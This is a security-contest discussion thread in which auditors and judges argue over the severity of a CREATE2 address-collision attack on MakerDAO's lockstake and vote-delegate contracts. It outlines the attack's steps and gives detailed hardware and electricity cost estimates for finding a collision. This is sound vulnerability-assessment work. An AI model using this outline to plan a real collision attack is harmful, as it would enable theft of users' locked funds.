Like mentioned in the judging comment, the cost of the attack is in billions (bitcoin hashrate has increased 4x from the info in the link since 2017, so it's 2.5 billion usd now). Note, that this is an estimate from the bitcoin mining hashpower, however it's next to impossible to simply "rent" this hashpower for something else (attacker has to incentivize them to switch to their attack and needs specialized hardware for this which increases costs by high multiples etc). So the link shows a theoretical minimum, the real attack cost is likely at least 100x of that.

So based on this, this issue might become valid in the future, and with current attack cost and hash power increase, likely very far in the future, certainly not the next 20 years or so, maybe not even 50 years, besides there is a physical hardware speed limit, so we can't expect unlimited exponential growth.

As it's a distant future issue, it shouldn't be valid. We can say that finding 160 bit address collision to steal all blockchain funds and render eth useless is also possible in the future, it doesn't make it a valid issue.

That said, this is the only issue describing how to steal all mkr funds from LSE using the collision, all dups have much smaller impact, making them possible even farther in the future. Still, this and all dups should be invalid as they're not exploitable in practice in the near future.

sherlock-admin3 commented 3 weeks ago

Escalate

Like mentioned in the judging comment, the cost of the attack is in billions (bitcoin hashrate has increased 4x from the info in the link since 2017, so it's 2.5 billion usd now). Note, that this is an estimate from the bitcoin mining hashpower, however it's next to impossible to simply "rent" this hashpower for something else (attacker has to incentivize them to switch to their attack and needs specialized hardware for this which increases costs by high multiples etc). So the link shows a theoretical minimum, the real attack cost is likely at least 100x of that.

So based on this, this issue might become valid in the future, and with current attack cost and hash power increase, likely very far in the future, certainly not the next 20 years or so, maybe not even 50 years, besides there is a physical hardware speed limit, so we can't expect unlimited exponential growth.

As it's a distant future issue, it shouldn't be valid. We can say that finding 160 bit address collision to steal all blockchain funds and render eth useless is also possible in the future, it doesn't make it a valid issue.

That said, this is the only issue describing how to steal all mkr funds from LSE using the collision, all dups have much smaller impact, making them possible even farther in the future. Still, this and all dups should be invalid as they're not exploitable in practice in the near future.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

bb22ff commented 3 weeks ago

Adding to the above objections, the data from available market rates for keccak hashing:

In terms of both cost and time it's many orders of magnitude out of the realm of possibility.

Which is probably why none of the existing contracts using create2 were ever exploited in this way.

00xSEV commented 3 weeks ago
  1. I would like to highlight that in this issue, I mentioned the potential for contract-to-contract collisions.

An eoa11 can be replaced with a contract created by eoa3. The address of the contract can be brute-forced in the same way as eoa11. The contract performs step 2 instead of eoa11 and self-destructs in the same transaction.

The paper describes a more expensive EOA-to-contract collision.
Please refer to this comment:

A large (2^11) multiplier in the above example is due to the increased difficulty of computing the elliptic point operations, which isn't needed in this attack – the attacker can simply deploy a wallet controlled by them using CREATE2. This will make the computational complexity around 2^81 and would require giga-terabytes of memory, which means this attack is possible to execute with ~34 minutes of the current Bitcoin's hashrate, assuming keccak256 is as easy to calculate as SHA-2. The current cost of this attack would be less than $1.5m with current prices.

Also, refer to this comment:

since we're looking for a contract-contract collision and not an EOA-contract collision, no EC multiplication is needed, making f 1 and f 2 purely keccak256 just with different inputs, and the cost of the attack is about 2^81 calls to f (which is, again, just keccak256).

Since both functions are of the same weight now, we can set m = 1 / θ = 2 ^ 40 and achieve the same execution time, but with ∼ 16 times lower processor count and memory cost than outlined. Of course, the real attack time would take longer depending on how many parallel processes you have, but taking 0.02% of this power for 5000x the duration (while also lowering the memory cost by 5000x) and it's still not unrealistically long. The total number of hashing calls across all processors is the same, so the attack cost is the same as outlined.

Under the assumption that a standard computer can perform 2^30 operations per second which is reasonable, @Czar102 's calculation is on point.

It proofs that the attack cost is in the millions, not billions. It may be helpful to revisit the discussion in the issue I'm referring to for additional context.

  1. Regarding the timeline, the Sherlock rulebook does not specify a fixed timeframe within which an issue must occur for it to be considered valid.

  2. The continuous development of available resources and the value at stake make this issue worth mitigating. This is the kind of issue that would have a critical impact if it were to occur. Note: The same point was previously shared by the head of judging, see here

  3. We should also consider that Maker plans to significantly increase its Total Value Locked (TVL), as seen in the following references:
    1

    The Endgame plan marks a transformative phase for MakerDAO, with the intent on scaling the DAI supply to 100 billion and beyond.

2

Maker’s ‘Endgame’ readies launch, aims for 100B DAI to take on Tether

Even now, the DAI supply plus MKR value is nearing $10 billion: DAI ~5.5 and MKR ~1.8. All of this would be at risk if the attack were to occur.

The cost was estimated to be $10 billion over 3 years ago (and for EOA-contract collisions, which are much more expensive — see my point 1 above). The cost of computation decreases every year. Over the past 3 years, Bitcoin's hashrate has increased sixfold, doubling approximately every 14 months — see the graph here. This significantly impacts the cost of such an attack and highlights how rapidly computational feasibility is improving.

  1. That said, I agree that the impact of all duplicates is much smaller, and they may not be substantial enough to be considered valid duplicates. But that’s probably a topic for discussion in another issue.
xiaoming9090 commented 3 weeks ago

Quoting the sponsor's response regarding hash collision attacks:

While we consider hash collision attacks extremely unlikely for the foreseeable future, we intend to change the VoteDelegateFactory so as to make it future-proof. Considering the enormous resources required for this attack, and given that a collision with a VoteDelegate could be use to grief (but not steal) funds deposited to a VoteDelegate, or to avoid a liquidation (which is very unlikely to be worth the cost of the attack), we consider this an informational / low severity issue. This is consistent with our General Disclaimer that "Issues where there is damage to the protocol/users but the net attack cost exceeds the damage caused significantly (50%+ more) are considered low severity."

Firstly, as the sponsor and other escalators here have mentioned, the cost of executing the attacks is tremendous and does not meet the contest’s criteria/rules regarding net attack cost for this specific contest.

Secondly, the following are the contest rules extracted from the contest's README. As mentioned below, whether an issue qualifies as a Medium also depends on the constraints.

Any loss smaller than 0.5% can never be Medium. Any loss between 0.5% and 5% loss can be Medium at most. Any issue larger than 5% can be Medium or High (depending on constraints)

In one of my clarifications with the sponsor during the audit period, it was mentioned that meeting certain requirements for a Medium rating does not automatically confer a Medium risk rating. The existing constraints should be evaluated and taken into consideration (which is aligned with the contest rule above). Based on the existing constraints, hash collision-related issues do not qualify as a Medium or High issue under any circumstance in this contest. If this issue were genuinely a major concern that could be executed without much constraint, it would have already posed a significant threat to many protocols, as many use CREATE2 in various parts of their codebase. Therefore, the risk of a potential hash collision is being significantly overestimated here.

Thirdly, during judging, no one should attempt to predict the future development of the semiconductor industry or forecast the feasibility of hashing collision attacks in the coming years. If an issue is based on speculation and forecasts rather than the actual situation at this point in time, it remains a theoretical issue without a concrete proof of concept (POC) that can be executed. Issues should be judged based on existing technological capabilities, not on potential future advancements. Otherwise, in an extreme case, one could also argue with the advancement of quantum computing in the future, all private keys and encryption on the Blockchain are theoretically breakable and could steal all funds in the Blockchain and should deserve a High/Medium classification in the contest.

Lastly, past Sherlock judgments on similar issues do not automatically confer a similar risk rating to this issue. The judge is not entitled to do so. This has been reiterated numerous times by Sherlock’s judge. Specifically, this contest operates under more restrictive rules, where whether an issue qualifies as Medium depends on various constraints and the net attack cost.

Given these points, this issue does not qualify as a Medium, and should be Low/Informational at most.

00xSEV commented 3 weeks ago

I'd like you to refer to the new comment from the EIP author himself here

Having looked back at the text, it seems to me now that I had overestimated the EC operation cost. This makes the EC cost much smaller, thus being closer to the cost of Keccak. We would then end up with the total cost around 2^83 , as you write it for the contract-contract attack.

Which proves that the attack cost is lower than were expected in the paper

Regarding bb22ff:

Regarding xiaoming9090:

  1. It seems they may not have taken into account that we are discussing contract-to-contract collisions, which are significantly less expensive.
  2. The attack requires capital and knowledge. If it would require only knowledge it would be high.
  3. In my view, it is already feasible, and we’ve just discussed the associated costs.
  4. It serves as a good point of reference, and many of the points raised here have already been addressed in that discussion.
Audittens commented 3 weeks ago

Replying to the 00xSEV comment: "I would like to highlight that in this issue, I mentioned the potential for contract-to-contract collisions."

Sorry, I didn't notice this statement during the judging contest. My comment referenced the "Summary" part of your report, stating that the cost of finding a collision between a new urn address and an EOA is about several million dollars, which is exactly the attack described in the paper.

The cost of finding a collision between a pair of contracts is indeed several orders of magnitude smaller due to the simple nature of $f_1$ and $f_2$ functions and I agree that for this issue it's possible to replace EOA with the contract while not changing anything else in the attack.

bb22ff commented 3 weeks ago

@00xSEV

  • Unfortunately, you didn't provide any calculations to support your estimate. A valid escalation generally carries the burden of proof.

  • The calculations also don't appear to have considered my first point, which reduces the attack cost by 10,000 times ($10bn vs $1.5m cost).

I did. I calculated just the bare minimum theoretical 2^81 keccak hashes.

Calculations:

  1. 40 trillion cost: 0.28 BTC/PH/day, 2^81 hashes needed. Cost is btc-usd × 0.28 × 2^81 hashes / peta / trillion => 60000 × 0.28 × 2^81 / (10^15) / (10^12) = 40.6 trillion
  2. 153339 years time: 0.5 TH/s network capacity, 2^81 hashes needed. Time is 2^81 / (0.5 TH/s capacity) / days-in-year / seconds-in-day ==> 2^81 / (0.5×10^12) / 365 / 86400 = 153339 years
  • It seems you may not have taken into account the discussion in the paper about how an attacker could invest in ASICs to reduce the cost of the attack. The current public NiceHash market may be smaller than required, but it ignores investment in ASICs, which were estimated in the paper. It also ignores GPUs and markets outside of NiceHash.

First, it's hypothetical tech, not a valid precondition for a contest finding, as already mentioned.

Second, it's highly unlikely given the market data:

The 264M per year nearly free money for orders of magnitude higher efficiency is sufficient to refute the "easy ASIC" hypothetical, even if it were an admissible precondition.

duncancmt commented 3 weeks ago

I don't particularly have a horse in this race, but reading this discussion sent me off on a research quest. Here's some interesting information:

If an EOA performs step 2 of the attack:

2. Call vat.hope(attacker) and lsmkr.approve(attacker, max)

Then step 3.ii:

3.ii LSUrn1 address == eoa11 address.

Will fail because contracts cannot be deployed to addresses with nonzero nonce. The only way for this attack to succeed is by computing a contract-contract address collision and then having the first contract SELFDESTRUCT (obeying EIP-6780, of course).

So the point about performing an EOA-contract collision and its attendant costs is moot.

EDIT: of course, if the attack could be performed in a different order, with the EOA's transaction's coming after the deployment of the urn, then it would still work due to the non-adoption of EIP-3607

Ref:

https://github.com/ethereum/execution-specs/blob/master/src/ethereum/cancun/vm/instructions/system.py#L104 https://ethereum.github.io/yellowpaper/paper.pdf (equation 118, first branch)

Shungy commented 3 weeks ago

Ok but what is the algorithm that can find the collision between two separate random functions in a space time efficient way?

kayabaNerve commented 3 weeks ago

Pollard's rho algorithm. It has a trivial memory cost associated with it when applied here.

bb22ff commented 3 weeks ago

So yeah, geth create2 calls create which fails for non-zero nonce. So:

duncancmt commented 3 weeks ago

~It's still possible for this to succeed if the first contract SELFDESTRUCTs in the same transaction as its construction~ I see your edit

funky. Sounds like this would cause a chain fork and slashing issues unless all clients have quietly adopted 3607?

zilayo commented 3 weeks ago

~It's still possible for this to succeed if the first contract SELFDESTRUCTs in the same transaction as its construction~ I see your edit

funky. Sounds like this would cause a chain fork and slashing issues unless all clients have quietly adopted 3607?

all clients should have adopted 3607, otherwise they're non compliant with the yellow paper (4). This was merged back in 2021.

image

as mentioned by others above, this would only succeed if a contract was deployed -> approval granted -> contract self destructs all in the same tx.

So then you're looking for a contract to contract collision.

escalation-lawyer commented 3 weeks ago

Sherlock Standards, Rule 1

Historical decisions are not considered sources of truth.

Past decisions on similar issues have no weight here.

00xSEV commented 3 weeks ago

Let's refer back to some impartial sources to provide a more balanced perspective, as contest participants may have their own biases:

  1. https://mystenlabs.com/blog/ambush-attacks-on-160bit-objectids-addresses

    based on discussions with security leads in the space, the general perception is that anything below $1B should be considered a threat, just to have room for cryptographic or CPU advancements. There was also a comment around the fact that even the “thought” of this being possible with a medium-scale adversary might disincentivize some stablecoin, bridges, or asset providers from launching in the first place.

We can see that even "the thought of this being possible" is considered serious enough to deter leading cryptography minds from launching a susceptible project in the first place.

  1. EIP-3607 and the paper

    Assuming that SHA-2 has about 2^11 smaller latency that the f1 processor, we obtain that the total cost of the attack should be equivalent to 2^92 SHA-2 hashes. Note that the Bitcoin mining network computes 2^67 double SHA-2 hashes per second, so that the attack cost is equivalent to 2^25 seconds, or 1 year, of Bitcoin mining. This is $10 billion in June 2021.

Plus the author's (cryptographer from Ethereum foundation) current views:

Having looked back at the text, it seems to me now that I had overestimated the EC operation cost.
This makes the EC cost much smaller, thus being closer to the cost of Keccak.
gsWe would then end up with the total cost around 2^83, as you write it for the contract-contract attack.

Compare 2^92 vs 2^83, 2^9=512 decrease in the cost. The overestimated cost of the attack was $10 billion in June; the new estimate is 10^9/512 = $1.953 million. This can be considered a source of truth and sufficient proof, being an expert estimation.

  1. The estimate from the judge in the previous issue

    The current cost of this attack would be less than $1.5m with the current prices.

  2. The sponsor's response

    Under the assumption that a standard computer can perform 2^30 operations per second which is reasonable, @Czar102 's calculation is on point.

As we can see, all impartial parties agree that the cost of the attack is in single-digit millions and should be considered a significant threat.

Other contestants, except for bb22ff, didn't provide any calculations for their estimates, so it's essentially an unsubstantiated opinion from an interested party, contrasted with the impartial estimate of an expert.

bb22ff's estimate only takes into account a small part of the market: Keccak mining on NiceHash. This is a very niche field and highly unstable (involving few low market cap coins with low usage). It also only considers the current price, which may just be a short-term spike. This presents a high-risk, high-reward situation that may not accurately reflect the overall cost or feasibility of the attack.

Audittens commented 3 weeks ago

After carefully reading the issue once again, I would like to add the following note. As discussed above, only a "contract-contract" collision can be found effectively and used for the attack (if not consider new optimization of the EIP-3607 author, which was not known before the end of the contest and therefore could not be used for the cost estimation). However, in fact "Other Variations" section doesn't provide a correct way to find a "contract-contract" collision due to the two following problems:

While in theory the attack can be modified into the "contract-contract collision" setup (e.g. by introducing intermediate contracts that will create analogs of eoa11 and eoa12 using the create2 opcode, i.e. "eoa3 -> contract11 -> analog of eoa11"), every variation described in the original issue in fact uses the "EOA collision" setup, that requires computationally-hard functions $f_1$ and $f_2$ (both require ecmul operation for public key calculation and several keccak-s applied later) and therefore has a much bigger cost.

escalation-lawyer commented 3 weeks ago

After some thinking, this does satisfies the Medium severity criteria given the additional rules of the contest.

The impact of this as documented by the report is the total and complete destruction of the MakerDAO protocol. Technically, this means the loss is unbounded. Currently, with the market cap of DAI at $5.3B and MKR at $1.8B, the total loss would be $7.1B. Adding 50% more would be $10.65B.

Even if we consider the upper-bound of $10B presented here by the EIP-3607 author, this does fit the attack cost criteria as per the additional rules:

Issues where there is damage to the protocol/users but the net attack cost exceeds the damage caused significantly (50%+ more) are considered low severity.

If we use $2.5B to account for the quadrupling of the Bitcoin hash rate or include the fact that the market cap of MakerDAO will very much likely to increase in the future, then this attack is profitable.

Just by these facts alone, this report seems to satisfy the Medium severity criteria.

00xSEV commented 3 weeks ago

Thank you, Audittens, for taking the time to delve deep into the issue. I'd like to add some additional information:

  1. If new facts emerge that demonstrate the validity of the issue, they should be considered even if they were discovered during PJQA.

  2. I used EOAs to simplify the explanation of this complex attack. It's straightforward to replace EOAs with a contract created by another contract using create2.

  3. In my report, I linked to this comment for the cost estimation. In that comment, we can see "the attacker can simply deploy a wallet controlled by them using CREATE2". So that possibility was also mentioned in my report.

yashar0x commented 3 weeks ago

Thanks to all the escalators who want to ensure that Maker remains safe and secure. I want to add some context to this finding.

If using EOAs as an example in this finding is the concern, #42 has described a contract-to-contract collision, which is a duplicate of this one.

The potential for compromising a protocol like Maker, causing bad debt, preventing collateral liquidation, and undermining the protocol's stability could have catastrophic consequences. It's important to address this now rather than wait until the attack becomes more feasible. The moment someone finds a collision, the whole protocol will be at high risk. That’s why the sponsor has confirmed and will fix it.

The comment that describes this issue as a “distant future problem” fails to address the importance of proactive security measures. Waiting until an attack becomes imminent is a poor strategy. It’s essential to recognize and address potential vulnerabilities early, rather than assuming they will remain unexploitable indefinitely.

This is indeed a valid medium finding.

Best regards

WangSecurity commented 3 weeks ago

Firstly, I've hidden one comment because it was subjective and didn't bring any value.

Secondly, repeating again, historical decisions are not sources of truth, there's no point in quoting or sharing other issues to prove the validity of this issue. Also, note that the part where "the sponsor agrees with the HoJ" is not the sponsor's comment. It's a comment from one of the Watsons. Additionally, why not also share this comment where the additional cost is a quarter of a billion.

Thirdly, I'm not sure I understand the cost correctly:

Compare 2^92 vs 2^83, 2^9=512 decrease in the cost. The overestimated cost of the attack was $10 billion in June; the new estimate is 10^9/512 = $1.953 million. This can be considered a source of truth and sufficient proof, being an expert estimation

But isn't 1.953 only a decrease and the total cost is 2^83 = 9671406556917033397649408 and 10^83/9671406556917033397649408 = 1.0339757656912846e+58? I assume it's incorrect, so please correct me here.

Regarding @bb22ff calculations. I see @00xSEV says it's incorrect because it's based on NiceHash data, but can you please provide a more trusted source of data along with the calculations? For prices, I see you don't like them using current prices, please use any price from the time of the contest (not a spike, but from a period when the price was stable).

Note: I see there are many concerns, I'll answer them once I'm sure I understand the issue and its cost.

kayabaNerve commented 3 weeks ago

Not to comment on cost yet feasibility of 2**81, the Bitcoin network does that every hour (per my own estimations of this for my own disclosures, I did not submit any instance of this and I'm not a judge). Electricity costs are quickly calculable as less than a few mil from there.

Hardware costs is its own very wide question. I'd cite how Bitcoin developers estimated this attack to inevitably cost less than 10m USD within just a couple years IIRC. Obviously, one can create debates on SHA2 vs keccak256 and the ability to repurpose mining ASICs for cycle funding.

I'd personally argue this a valid loss of funds issue especially given protocol damage and projected timeline accordingly. Apologies if this doesn't contribute and feel free to hide this if it's too much of a hinderace.

00xSEV commented 3 weeks ago

@WangSecurity Thank you for reviewing my issue and for your comments/questions

I may need a couple of days to prepare the answer. I hope that's okay?

bb22ff commented 3 weeks ago

In addition to NiceHash data, there's vast.ai data from someone now crunching create2 addresses for leading zeros. They get 1.4 TH/s for 700 RTX 4090s. According to vast.ai's homepage this costs 700 0.35 = $245 per hour. That is 5880 per day for 120 PH (1.4 TH 86400 / 1000).

Using this data instead of NiceHash data, for 2^83 (assuming infinite supply), we get 473 Billion USD ( 5880 × 2^83/(120×10^15) / (10^9) ).

panprog commented 3 weeks ago

I'd like to add attack impact and threshold to consider for qualifying this as medium or not. The README states:

In the lockstake case, the maximal locked MKR is assumed at $250m and the maximal line is assumed as 100m dai.

and

Issues where there is damage to the protocol/users but the net attack cost exceeds the damage caused significantly (50%+ more) are considered low severity.

Attack impact (the one described in this issue): allows to steal all MKR locked in lockstake with VoteDelegate selected. In particular:

  1. It doesn't allow to steal all MKR locked in VoteDelegates, only from VoteDelegates selected by lockstake users in amounts selected (since owner is LockstakeEngine, thus it can't withdraw more than lockstake users locked).
  2. It doesn't allow to steal from funds locked in lockstake which do not have VoteDelegate selected. Since lockstake allows up to $250M locked by the rules of this contest, the attack impact is at most $250M, but likely a bit less (say, we can reasonably expect 90% lockstake users to have VoteDelegate selected, meaning attack impact is around $225M).
  3. Generally we can't tell if it allows to gain control over Maker protocol or elect attacker's hat with all the voting power stolen. In particular, the $250M lockstake limit assumes most MKR will not be locked in lockstake and can be used to prevent this impact. So attacker can't be sure in any impact other than $225M worth of MKR being stolen.

In order for this issue to qualify as a Medium, the attack cost should not exceed $225 * 1.5 = ~$340M.

Essentially, if it's proved that attack cost is below $340M, this issue is medium. Otherwise it's low/informational. The remarks about protocol having billions or that endgame plan includes growth to 100 billion and beyound is irrelevant, the contest README specifically assumes $250M amount at risk.

As pointed by several Watsons, the attack cost using present technology is at least in billions, thus doesn't qualify for a medium. All estimations with low millions are based on hardware or power not yet available. Using current bitcoin hashrate as an estimate of the attack cost is incorrect since it can not be used in such way, and setting up the hardware/incentives/gathering miners etc just to perform one-off task of finding a hash collision will have very high setup costs other than mining/hashing power itself. So either high cost (in billions or even trillions) of renting computing power using present available solutions (like NiceHash) or using custom hardware and custom solution (not yet available) with high setup cost and lower per hash cost (possibly billions to setup and possibly millions to find collision, but we can't be sure in any numbers here because such tech is not available yet and all costs are pure speculations depending on a lot of factors, thus I don't think we should speculate on the cost of setting up this non-existing tech).

One thing to note here: while it's true that such threat can be real in the future and that protocols might not start up purely on the thoughts of such attack being possible even if in billions, however in the context of this particular contest this is irrelevant.

00xSEV commented 3 weeks ago

Thanks for waiting for my reply.

Here are my calculations:

  1. We are looking for a collision of 2^160 addresses. As we all know, due to the birthday paradox, there's a 50% chance of finding a collision in 2^80 addresses. We need to demonstrate the cost of achieving this.
  2. Estimation based on Bitcoin network (as described in the paper) Refer to the paper's Example section:

The cost can be estimated as follows. Assuming that SHA-2 has about $2^{11}$ smaller latency that the $f_1$ processor, we obtain that the total cost of the attack should be equivalent to $2^{92}$ SHA-2 hashes. Note that the Bitcoin mining network computes $2^{67}$ double SHA-2 hashes per second, so that the attack cost is equivalent to $2^{25}$ seconds, or 1 year, of Bitcoin mining. This is \$10 billion in June 2021.

Refer to the updated estimate that puts it at $2^{83}$ SHA-2 equivalents, as stated by the author here after HoJ confirmed them in that issue. To understand how we reached this optimization, it's best to read the thread. However, TLDR is that we use a cheaper version of address calculation, which is 2^9 times cheaper.

Feel free to ask for further details and steps to understand the number. I can delve deeper into it if it's required.

Note how we got the 1-year estimate: $2^{92} / 2^{67} = 2^{25}$ seconds = ~1 year.

If we substitute $2^{83}$ into the quote above: we obtain that the total cost of the attack should be equivalent to $2^{83}$ SHA-2 hashes. Note that the Bitcoin mining network computes $2^{67}$ double SHA-2 hashes per second, so that the attack cost is equivalent to $2^{16}$ seconds, or ~18 hours, of Bitcoin mining. This is \$10 billion/2^9=\$19.5mln in June 2021.

Also note that Bitcoin hashrate increased to $2^{69}$ in the last 3 years source 1, source 2. Furthermore, the price per hash dropped 2–20 times, depending on the starting point chosen source.

We can observe the rapid development of the ASIC industry in this graph. From August 2021, power consumption for large ASICs fell from \$57 to \$2.56 per TH, illustrating how quickly ASICs evolve and become cheaper when demand exists.

  1. Let's calculate the investment needed in miners to achieve a 50% chance of finding a collision using retail-available technologies (ignoring memory for now):

    • Blackminer F1+ source:
      • 34.9 GH/s ("Algorithm plugin" tab, also https://minerstat.com/coin/NH-Keccak/profitability) = 125,640 GH/hr = 125640 * 10^9 H/hr
      • Cost: \$1500 (~\$43/GH/s)
      • $2^{80}/125,640/10^9 = ~9.6 billion hours = ~1,095,163 miner-years ( wolfram alpha)
      • To speed up by 100,000 times and reduce the attack to ~10 years we need ~109k ASICs, the cost would be \$1500 x 109k = \$163 million.
      • Without any optimizations or bulk discounts, just using available market technology.
      • The longer the attacker is willing to wait, the less they need to invest, even with current technology.
      • According to WhatToMine, one miner on the Keccak algorithm consumes 700W source or ~1kW source and here.
      • Based on multiple sources (1, 2, 3), the cheapest electricity in the world is around 1-2 cents per kilowatt-hour. Some countries are even lower. We'll take 2 cents. Multiply miner-hours by consumption and price: 9.6*10^9*1*0.02 = \$192 million.
      • Total cost = \$355 million.
    • Fusionsilicon X2:
      • Harder to find a reliable price since they are no longer produced, but as a reference:
      • Old price \$3.6k, eBay \$1.5k, shop listing for \$1.5k.
      • 75 GH/s, ~1kW source.
      • Latest prices suggest it's about \$20/GH/s, making it twice as cheap as Blackminer F1+, but at \$3600 it’s the same price.
    • RX570:
      • Price: ~$100.
      • 1.780 GH/s source.
      • 56 W same source
      • 100/1.780 = \$56/GH/s.
      • $2^{80} / 1.78 x 10^9 = 1.887×10^11 hours = 21.5 million card-years.
      • 2.15 million cards = \$215 million, 10 years.
      • Electricity: $1.887×10^11 hours x 0.056 kwh x \$0.02 = \$211 million.
      • Total cost = \$426 million and 10 years.
    • 4070ti – expensive option:
      • Price from \$750.
      • 2.439 GH/s source.
      • 289 W.
      • (~\$307.5/GH/s).
      • $2^{80} / 2.439 x 10^9 = 1.377×10^11 hours = 15.72 million card-years.
      • 1.5 million cards => \$1.125 billion for cards => 10 years for the attack.
      • Electricity: $289 1.377×10^11 \$0.02 = \$795 million.
    • Blackminer F1+ remains the best option, with a total attack cost of under \$1 billion. Other options are also available.
    • To get a 50% increase, either wait 2x longer or invest 2x more in miners (electricity cost will be the same, because the time will be reduced). For Blackminer F1+, to achieve a 1/2^10 = 1/1024 chance, the cost would be \$355 million * 10 = \$3.5 billion.
    • Note that these are retail prices. Buying this amount of ASICs would lead to bulk discounts.
  2. Estimated number of Bitcoin ASICs in the world:

    1. Hashrate ~650 * 10^18 H/s. source 1, source 2.
    2. The average miner hashrate is hard to pinpoint, but let's estimate 1*10^12 H/s for new miners and 1*10^11 H/s for older ones source.
    3. This gives a rough estimate of 1–10 million miners, ignoring those older than 2-3 years.
  3. Estimated number of GPUs in the world:

    1. ~300 million GPUs/year in 2011.
    2. ~120M/year for all GPUs in 2021.
    3. Total computing capacity: 3.98 * 10^21 FLOP/s source. RX570 capacity ~5×10^12 FLOP/s source. This equates to ~796 million GPUs if all are comparable to RX570.
  4. Memory optimization is necessary because storing $2^{80}$ hashes is not currently feasible. The method described in the paper utilizes shared memory. Runtime depends on the number of Keccak processors. We can have 1,000,000 Blackminer F1+, x 34.9 GH/s = 3.49 x 10^16 = ~2^55 H/s.

Let’s reduce $\theta$ (memory cost increases). See:

The expected number of distinguished points to be produced is $\theta 2^{81}$.

We may assume that every point stores about 60 bits about $x_0$ and $160 + \log_2 \theta$ bits about itself.

Setting $\theta$ to 2^-26 requires 60 + 160 - 26 = 194 bits of memory per point. We need $\theta 2^{81}$ points = $2^{55}$ points. $2^{55} 194$ bits = 776 PB. RAM prices are around \$1600/TB. So, 776k \$1600 = \$1.271 billion for memory.

RAM consume ~5W per module.

Using the formula from the paper: $\frac{2^{81}}{m}+\frac{2.5}{\theta}$

Cost: See my calculations here. You can make a copy of the spreadsheet to change different variables. E.g. increase memory to decrease the time required.

RAM electricity cost $165,904,088
ASICs electricity cost $1,347,099,767
RAM cost $1,271,398,400
ASICs cost $1,548,515,631
Total cost $4,332,917,886

Using bloom filter, as mentioned in this comment, confirmed here will reduce the amount of RAM required to 1 bit per point. Than we can set $\theta$ to -20 and reduce the cost to $2.4 billion an 2.2 years (calculations are in the same spreadsheet).

image
  1. Further cost reduction possibilities:

    1. The ASICs we reviewed support several algorithms and include components not needed for the attack, which makes them much more expensive than necessary.
    2. All prices are retail; buying in bulk would lower the cost.
    3. Miners/GPUs could be sold, rented, or used for other purposes after the attack.
    4. Using bloom filter, as mentioned in this comment, confirmed here will reduce the amount of RAM required to 1 bit per point.
    5. GPUs' VRAM might be used in place of RAM (requires more research).
    6. Fast SSDs could potentially substitute for RAM (requires further research).
    7. Use a country with cheaper electricity, like Iran ($0.002/kwh =>10x reduction)
    8. Extend the time of the attack will require less ASICs and RAM
  2. Additional arguments:

    1. EIP-3607 was reviewed and merged, providing further assurance that the attack is possible. Maker is one of the largest protocols, making it a prime target for such an attack.
    2. For future issues: If we identify a protocol vulnerability that could potentially destroy the protocol within <10 years, should we incentivize reporting it or ignore it?
    3. In any risk matrix (Wikipedia, OWASP), a critical impact is always classified as at least Medium severity.
    4. Endgame has not yet launched, but the team expects a TVL of \$100 billion (sources provided in my previous comment). We should use this as a reference, even though the current TVL is different. Our responsibility is to assess how that anticipated TVL could be attacked. The current TVL is useful as a reference, but it's for a different product.
      1. "Issues where the net attack cost significantly exceeds the damage caused (50%+ more) are considered low severity."
      2. Since the MKR + DAI TVL is \$1.8 billion + \$5.3 billion, the attack cost clearly doesn’t exceed the damage, so it shouldn’t be classified as low severity.
Summary:

The attacker could reduce the cost of the attack to millions of dollars by developing their own ASICs, as previously estimated by HoJ and confirmed by the EIP author.

The use of current ASICs/GPUs, not optimized for keccak, serves as proof that this is feasible while still being cheaper than the potential profit from the attack.

Regarding the judge's other comments:

Additionally, why not also share this comment where the additional cost is a quarter of a billion.

I didn’t cite it because, in the same comment, @Czar102 estimated the ASIC cost to be in the millions: "you would need to create your own ASIC just for this (millions)." I used the lowest possible attack cost, and ASICs seem to be the most relevant option here. That’s why I focused on buying/developing rather than renting.

The investment in hardware is also cited in EIP-3607: "in hardware and electricity."

We estimate that a collision between a contract and an EOA could be found in about one year with an investment of ca. US$10 billion in hardware and electricity.

Apologies if I made any mistakes in previous responses, such as "the sponsor agrees with the HoJ." The message sounded like it was from the sponsor, and I didn't recheck the thread to verify.

PS:

If the data or optimizations provided are insufficient, I can dive deeper into researching bulk prices, other ASIC options, other GPUs, and the latest optimization papers.

This is an unusual field of attack, and I believe we should review all available data carefully.

00xSEV commented 3 weeks ago

Regarding panprog's comment:

  1. Please refer to the docs, which state that it’s required to lock MKR in order to vote via delegation.

    "The locked-up MKR is required to participate in Maker Governance via delegation."

  2. Yes, it does. Please review my issue, specifically point 17 and the PoC testAttack7SeveralLsUrnCollisionsStealFromLSE.

  3. We can’t ignore the fact that almost all votes are cast through vote delegates, while other votes are negligible. Both of these points are explained in point 18 of my issue.

__

the contest README specifically assumes $250M amount at risk

The stolen MKR is locked in both VoteDelegates and Lockstake. VoteDelegate is a separate module and repository, which can be found here: https://github.com/makerdao/sherlock-contest/blob/master/README.md#vote-delegate. We’re stealing from both VoteDelegates and Lockstake, and taking full control of the protocol, so the limit you mentioned isn’t relevant.

panprog commented 3 weeks ago
  1. Please refer to the docs, which state that it’s required to lock MKR in order to vote via delegation.

We audit the codebase we have now, and nothing in this codebase indicates a requirement to lock MKR in lockstake engine in order to vote: anyone can lock MKR into the VoteDelegate (or Chief) directly to vote without locking MKR in the Lockstake engine. Notice the text at the top of the linked doc:

This documentation describes planned functionality and processes that MakerDAO has not yet implemented. Be aware that parts may be inaccurate or out of date.

Also note the future issues Sherlock rule:

Future issues: Issues that result out of a future integration/implementation that was not mentioned in the docs/README or because of a future change in the code (as a fix to another issue) are not valid issues.

So based on this, either the doc is outdated or it means something different, or it is not implemented yet (in which case this if the future issue), from the contest codebase it's clear that anyone can vote directly via VoteDelegate/Chief without locking in lockstake engine.

Now, the contest clearly limits the lockstake engine to $250M worth of MKR locked. This means that only a certain percentage (11% as of now) of all MKR is assumed locked in lockstake engine and can be stolen, attacker can not be sure that his vote will pass as all MKR outside of lockstake can be used to vote against attacker.

00xSEV commented 2 weeks ago

I realized I made a mistake with the collision probability formula. It should be:
$P \approx 1 - \exp\left( \frac{-k^2}{2N} \right)$ (as approximated by Wikipedia), or the more accurate formula:
$P \approx 1 - \exp\left( \frac{-k(k-1)}{2N} \right)$ (as explained in this comment).

Using these formulas, we can see that with $2^{81}$ hashes, the probability of a collision is 86.47%, with $2^{82}$ hashes it's 99.97%, and with $2^{83}$ hashes it's 99.999999999999%. You can check the calculations here.


